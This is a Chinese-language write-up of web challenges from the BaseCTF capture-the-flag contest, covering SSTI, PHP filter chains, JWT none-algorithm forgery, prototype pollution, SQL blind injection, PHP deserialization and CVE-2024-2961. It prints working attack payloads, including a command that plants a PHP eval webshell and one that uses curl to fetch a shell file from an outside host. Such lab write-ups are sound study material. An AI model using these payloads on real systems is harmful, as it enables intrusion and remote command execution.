是新生赛,好耶。
BaseCTF-WEB部分题解
差点AK了,唉。继续学习吧。
[Week1]
Aura 酱的礼物
题目直接给源码了。
1 |
|
challenge的值必须以http://jasmineaura.github.io开头。
我们用HTTP基本身份认证的方式绕过。即@
先创建一个文件,里面写已经收到Kengwang的礼物啦
。然后@后面接上我们自己的服务器ip即可。
这个文件包含拿不到flag(用伪协议就可以了。我直接用php filter链打rce了。
[Week3]
滤个不停
1 |
|
禁掉了很多伪协议,那利用filter链打rce就算了。并且要求datch里面包含[‘s’, ‘e’, ‘v’, ‘a’, ‘n’, ‘x’, ‘r’, ‘o’];这些字母。观察后发现这个可以拼成日志的路径。试一下后成功rce
玩原神玩的
1 |
|
写个脚本爆破一下array数组长度
1 | import requests |
生成POST数组。
1 |
|
接着按要求传参即可
一个丑陋的python拿到flag每一位的md5
1 | import requests |
1 | ["3295c76acbf4caaed33c36b1b5fc2cb1","26657d5ff9020d2abefe558796b99584","73278a4a86960eeb576a8fd4c9ec6997","ec8956637a99787bd197eacd77acce5e","e2c420d928d4bf8ce0ff2ec19b371514","43ec517d68b6edd3015b3edc9a11367b","ea5d2f1c4608232e07d3aa3d998e5135","c8ffe9a587b126f152ed3d89a146b445","44f683a84163b3523afe57c2e008bc8c","f0935e4cd5920aa6c7c996a5ee53a70f","698d51a19d8a121ce581499d7b701668","2838023a778dfaecdc212708f721b788","5f93f983524def3dca464469d2cf9f3e","093f65e080a295f8076b1c5722a46aa2","44f683a84163b3523afe57c2e008bc8c","9f61408e3afb633e50cdf1b20de6f466","7f39f8317fbdb1988ef4c628eba02591","3416a75f4cea9109507cacd8e2f2aefc","6364d3f0f495b6ab9dcf8d3b5c6e0b01","6364d3f0f495b6ab9dcf8d3b5c6e0b01","5ef059938ba799aaa845e1c2e8a762bd","9f61408e3afb633e50cdf1b20de6f466","e369853df766fa44e1ed0ff613f563bd","1c383cd30b7c298ab50293adfecb7b18","d645920e395fedad7bbbed0eca3fe2e0","d645920e395fedad7bbbed0eca3fe2e0","b53b3a3d6ab90ce0268229151c9bde11","a0a080f42e6f13b3a2df133f073095dd","f7177163c833dff4b38fc8d2872f1ec6","ec5decca5ed3d6b8079e2e7e7bacc9f2","202cb962ac59075b964b07152d234b70","c0c7c76d30bd3dcaefc96f40275bdc0a","735b90b4568125ed6c3f678819b6e058","98f13708210194c475687be6106a3b84","b6d767d2f8ed5d21a44b0e5886680cb9","ea5d2f1c4608232e07d3aa3d998e5135","fc490ca45c00b1249bbe3554a4fdf6fb","7cbbc409ec990f19c78c75bd1e06f215","735b90b4568125ed6c3f678819b6e058","a3f390d88e4c41f2747bfa2f1b5f87db","70efdf2ec9b086079795c442636b55fb","fbd7939d674997cdb4692d34de8633c4","32bb90e8976aab5298d5da10fe66f21d","32bb90e8976aab5298d5da10fe66f21d","43ec517d68b6edd3015b3edc9a11367b"] |
搓个爆破脚本。
1 | import hashlib |
没注意到这是异或后的结果$flag[$ii] = md5(ord($array[$ii]) ^ $ii)
让gpt写一个解密吧。
1 | # 给定的 XOR 结果 |
复读机
题目是一个复读机。这种题目写多了自然而然会想到ssti,别问我为什么。
测试一下发现,waf的情况奇奇怪怪的。多次调试后,用fenjing解决。
读取到源码后才知道为什么waf很奇怪
if '%' not in data and char_count(data,'{') == 1: return False
这个直接返回False一开始让我以为都打不了了。但是多套几层{}{}又可以了。这也是调用里面"flag":"BaseCTF{}{}"+payload
这样写的原因。
拿flag的payload
1 | flag=Basectf{}{%set gl='_'~'_'~'g''lobals'~'_'~'_'%}{%set bu='_'~'_'~'b''uiltins'~'_'~'_'%}{%set im='_'~'_'~'import'~'_'~'_'%}{%set vs='OS'|lower%}{%set ca='%c%c%c%c%c%c%c'%(99,97,116,32,47,102,42)%}{%print g['p''op'][gl][bu][im](vs)['p''open'](ca)['read']()%} |
反弹shell
没弹上,可能没出网?
1 | import functools |
源码如下:
1 | from flask import * |
ez_php_jail
1 |
|
第一次写php的jail。过滤了$,a,c,s以及几个函数
我们可以利用highlight_file来查看文件内容。但是这里a被过滤掉了,利用glob配合通配符寻找文件。并且这里[0]来表明是查看匹配到的第一个文件,也就是我们的flag。否则是不会返回内容的。
1 | Jail[by.Happy=highlight_file(glob("/fl*")[0]); |
[Week4]
flag直接读取不就行了?
1 |
|
直接利用php原生类就好了。
圣钥之战1.0
访问read路由拿到源码
1 | from flask import Flask,request |
python原型链污染
把file改成/flag然后访问read路由即可
No JWT
1 | from flask import Flask, request, jsonify |
题目给了源码,发现只有jwt里面role为admin就可以拿flag了,key是16位的,爆破不太现实。注意到解码JWT的时候options={"verify_signature": False, "verify_exp": False}
没有对签名算法做验证。直接伪造即可。也就是将签名算法改成none,再将role改为admin
这里token.split(" ")[1]
也就是取空格后的第一部分数据。
only one sql
1 |
|
利用update和REGEXP进行时间盲注,可能会因为网络原因报错,多跑几次就好了
1 | import requests |
[Fin]
Back to the future
描述:本题理论不需要扫描器
我们试着随便在url后面跟点什么,发现直接给phpinfo()了。但是还是没什么思路,再想一想描述,访问robots.txt发现了信息。
感觉是git泄露,题目叫back to the future,也有让我们看git的记录的意思,一切都对上了。
用这个gakki429/Git_Extract拿到了flag
所以phpinfo()是干扰项?
RCE or Sql Inject
1 |
|
hint:
R! C! E!
mysql远程连接和命令行操作是不是有些区别呢
输个问号看看?
相比上一道题多过滤了se,ec,del,into,outfile。但是把换行放出来了。并且题目的语句多了个注释在末尾。
由于过滤了se,所以sql注入不太可能了。(可能存在我不知道的方法?
那就顺着题目意思来,先换行逃过注释,然后一个?也就是sql=%0a?
那很明显了,通过system执行命令嘛。但是根目录没有flag,估计在数据库里面。
发现靶机出网
那下一个shell进来好了
http://challenge.basectf.fun:24185/?sql=%0asystem curl fffffilm.top/1.txt -o fffffilm.php
成功拿到flag。
Sql Inject or RCE
1 |
|
相比上一题多过滤了st,并且del换成了delete。所以关键点会在del上吗(存疑,确信
发现mysql的内置命令里面有一条正好和del有关delimiter
。感觉是通过这个改变结束符,来绕过;打一个堆叠。成功哩,delimiter本身的用法就是不加;结束符的,所以我们加一个换行在后面,就可以成功改变结束符来打堆叠了。
最后利用handler读取即可。
如下:
1z_php
1 |
|
php没有难题
给了一个eval,但是前面直接进die()
了,还是利用不了。那我们先看前面的。
intval($value,$base)当base为0时,会检测value的格式来决定使用的进制。传16进制满足第一个if,也就是:e[m.p=0x1bf52
再下面又有一个ctype_alpha函数,ctype_alpha — 做纯字符检测。——如果在当前语言环境中 text
里的每个字符都是一个字母,那么就返回**true
,反之则返回false
**。
那用8进制好了,e[m.p=0337522
接下来是
1 | if (preg_match('/.+?HACKER/is',$try)){ |
利用正则回溯绕过。
然后是
1 | if(stripos($b,'php')!==0){ |
b要以php开头,用SplFileObject配合php伪协议即可,并且c是toString方法打印结果。
或者利用webshell直接拿flag也行
exp
1 | import requests |
ez_php
1 |
|
简单看了一下,考点是引用,字符串逃逸和一个GC回收
先把反序列化部分写出来,pop链很简单。
1 | destruct->toString->call->get->isset->invoke |
但是wake_up绕不过,可能需要利用$this->end = $this->start;
(存疑
注意到__wakeup里面对end进行了赋值,且wakeup方法内只对username的值进行了改变,start的值始终是由我们决定的。
那我们让start的值为POP链,再利用引用使得end和username的值一致,username的值改变后也可以通过$this->end = $this->start
变成我们的pop链。用一个gif图展示一下过程。
接下来就是字符串逃逸,mb_strpos与mb_substr执行差异导致的漏洞,感觉gxn师傅讲的挺好的,可以看他的文章了解一下。
逃逸多少字符懒得算了,只要把start前面的都删掉,留下O开头的数据就行。一直加%f0直到O被删掉,再加%9f把O找回来即可。
然后再删去末尾的四个}}}}来破坏序列化字符串结构,利用fast destruct逃脱异常。
1 | ez[ser.from_you=O:6:"Hacker":3:{s:3:"end";N;s:8:"username";R:2;s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:18:"system("cat /f*");";}} |
EXP
1 |
|
Jinja Mark
index路由,post传参lucky_number=5346,(这个数字直接用的lucky number题目给的)拿到原型链污染的源码
1 | BLACKLIST_IN_index = ['{','}'] |
flag路由是ssti,但是一出现{或}就跳转了。估计上面的黑名单就用在这里,污染掉黑名单之后就可以ssti了。
可以看到的确没有过滤了。
随便找个payload打
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /f*').read()")}}{% endif %}{% endfor %} |
Lucky Number
题目信息差不多,但是这道题一开始没给ssti打,而是多了一个result = heaven.create()
和heaven.py
1 | def create(kon="Kon", pure="Pure", *, confirm=False): |
hint:但是听说在heaven中有一种create方法,配合__kwdefaults__
可以创造出任何事物,
污染confirm为true,以及lucky_number为5346(这里lucky_number要是字符而不是数字,难绷
和上题同样的payload
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /f*').read()")}}{% endif %}{% endfor %} |
Just Readme
1 |
|
直接打CVE-2024-2961就行
python3 aa.py http://challenge.basectf.fun:29428/ "echo '<?php eval(\$_POST[0]);?>'>/var/www/html/fffffilm.php;"
1 | #!/usr/bin/env python3 |
Readme(x
我要读 flag 啦~ 欸,但是没有回显可怎么办?
请执行
/readflag
提到了文件读取,无回显,rce。
预计思路是测信道获取文件内容,然后打CVE-2024-2961。参数名是猜出来的(后来发现题目给了附件,有点小丑了。
成功读取到题目源码,但是如果真是这样的打法,那时间也太久了。可以看到这里我爆破这么短的内容都花了两分钟,总感觉有其它打法。
问了一下出题人,的确是这样的思路,就是需要优化一下代码。
出题人不放wp,我也不会。呜呜
scxml(x
唉,java。等官方wp吧。